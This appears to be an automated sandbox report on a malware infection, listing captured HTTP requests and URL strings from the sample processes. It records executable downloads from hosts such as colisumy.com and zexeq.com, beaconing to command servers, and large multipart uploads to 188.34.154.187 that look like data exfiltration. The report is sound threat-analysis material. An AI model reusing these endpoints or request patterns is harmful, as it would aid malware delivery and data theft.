Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aomtmlmpuh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 135Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cfjtxu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 222Host: potunulit.org
Source: global traffic	HTTP traffic detected: GET /dl/build.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: colisumy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sbcht.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://akimoe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: potunulit.org
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dlaxujokn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dmcdswi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=436160&key=a96ab7e5e6412d32675599dfaebc13f6 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Content-Length: 256Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fgfsyqph.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xmewqwgqx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dsoav.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ollfl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ylfleydl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----3539298648004245User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 137965Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://etftmd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /cc.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 194.180.48.90
Source: global traffic	HTTP traffic detected: POST /check/?sid=436234&key=2cef0d99b721939135d08fea0dcaba52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Content-Length: 256Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fglqosxf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----1260409671928259User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131701Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qlcjnrapy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fatvkcvmxq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----7167690855263849User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131773Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vacsrkw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cdgmadwmn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vplsfigg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----7208179365116563User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://doqsqrp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nypsigtije.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjgjontf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atqoikuxkw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----9595889800188942User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131505Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://octqh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: toobussy.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=436336&key=3f9d01718af2d5daf3c654f2052d5bc7 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62Content-Length: 256Host: ss.apjeoighw.com
Source: global traffic	HTTP traffic detected: POST /tmp/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xgeaptg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: toobussy.com
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----2526816168050978User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131493Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----7433048622556332User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131477Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /e44c96dfdf315ccf17cdd4b93cfe6e48 HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303
Source: global traffic	HTTP traffic detected: GET /addon.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----1728351691547648User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Host: 188.34.154.187:30303Content-Length: 131473Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

ASN Name: HKKFGL-AS-APHKKwaifongGroupLimitedHK HKKFGL-AS-APHKKwaifongGroupLimitedHK

Source: Joe Sandbox View	IP Address: 103.100.211.218 103.100.211.218
Source: Joe Sandbox View	IP Address: 103.100.211.218 103.100.211.218

Source: global traffic

TCP traffic: 192.168.2.3:49734 -> 188.34.154.187:30303

Source: unknown

Network traffic detected: IP country count 11

Source: D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exe
Source: D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exe$run
Source: D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exerun3
Source: explorer.exe, 00000001.00000000.378821866.00007FFC1B439000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov
Source: explorer.exe, 00000001.00000000.378821866.00007FFC1B439000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro
Source: D804.exe, 00000006.00000003.443656500.0000000000780000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000006.00000003.443731169.0000000000780000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000006.00000003.445331389.000000000077F000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000006.00000002.450438133.000000000077D000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000010.00000003.452471512.0000000000851000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000010.00000002.619429561.0000000000852000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000003.452681314.0000000000647000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.569252099.000001E2901E8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.572224446.000001E2901E8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.539122814.000001E2901E8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566021117.000001E2901E8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.559161122.000001E2901E8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.562531602.000001E2901E8000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2901E8000.00000004.00000001.00020000.00000000.sdmp, B46F.exe, 0000001A.00000003.479306227.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.489404633.0000000000687000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000003.488086932.0000000000939000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000002.490407985.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: D804.exe, 00000005.00000002.442867169.0000000002690000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000006.00000002.449975040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 0000000D.00000002.450667818.0000000002530000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000010.00000002.617846506.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D804.exe, 00000012.00000002.451684545.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 00000013.00000002.617779609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, B46F.exe, 00000019.00000002.474131384.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, B46F.exe, 0000001A.00000002.488867120.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A170.exe, 0000001B.00000002.493740298.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: aafg31.exe, 00000015.00000002.617633602.000000AEF327A000.00000004.00000010.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://jp.imgjeoighw.com/sts/image.jpg
Source: aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://jp.imgjeoighw.com/sts/image.jpgO
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/
Source: aafg31.exe, 00000015.00000003.539122814.000001E2901D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/blob:
Source: aafg31.exe, 00000015.00000003.617256768.000001E292290000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.643560384.000001E292292000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/check/?sid=436336&key=3f9d01718af2d5daf3c654f2052d5bc7
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901D2000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.642437211.000001E292275000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.642437211.000001E292246000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/check/safe
Source: aafg31.exe, 00000015.00000002.642437211.000001E292275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/check/safe)
Source: aafg31.exe, 00000015.00000002.618169870.000001E2900FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/check/safe1B
Source: aafg31.exe, 00000015.00000002.642437211.000001E292275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com/check/safe3
Source: aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.563228419.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com:80/check/?sid=436234&key=2cef0d99b721939135d08fea0dcaba52G_
Source: aafg31.exe, 00000015.00000003.539647639.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ss.apjeoighw.com:80/check/safe
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://toobussy.com/
Source: D804.exe, 00000013.00000003.474950384.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: D804.exe, 00000013.00000003.475054823.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: D804.exe, 00000013.00000003.475244622.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: D804.exe, 00000013.00000003.475283762.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: D804.exe, 0000001C.00000002.491035809.0000000002460000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: D804.exe, 00000013.00000003.475323189.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: D804.exe, 00000013.00000003.475504479.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: D804.exe, 00000013.00000003.475541394.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: D804.exe, 00000013.00000003.475594980.00000000032B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.636070288.000000000320F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe
Source: D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run
Source: D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runZT
Source: D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runyinstall020921_delay721_sec.exe0
Source: D804.exe, 00000013.00000002.636070288.000000000320F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exel
Source: D804.exe, 00000013.00000002.619178225.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exerunb10
Source: D804.exe, 00000010.00000002.619429561.0000000000808000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php
Source: D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000010.00000002.619429561.0000000000852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C
Source: D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=true
Source: D804.exe, 00000013.00000002.619178225.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806C&first=trueQ58
Source: D804.exe, 00000010.00000002.619429561.0000000000852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F0112806Cg
Source: D804.exe, 00000010.00000002.619429561.0000000000891000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F4B58C92E14ED1DB6A495C4F011280Nkx%
Source: D804.exe, 00000010.00000002.619429561.0000000000808000.00000004.00000020.00020000.00000000.sdmp, D804.exe, 00000013.00000002.619178225.0000000000680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.phpep
Source: B46F.exe, 0000001A.00000002.489404633.0000000000687000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000003.488086932.0000000000939000.00000004.00000020.00020000.00000000.sdmp, A170.exe, 0000001D.00000002.490407985.0000000000939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
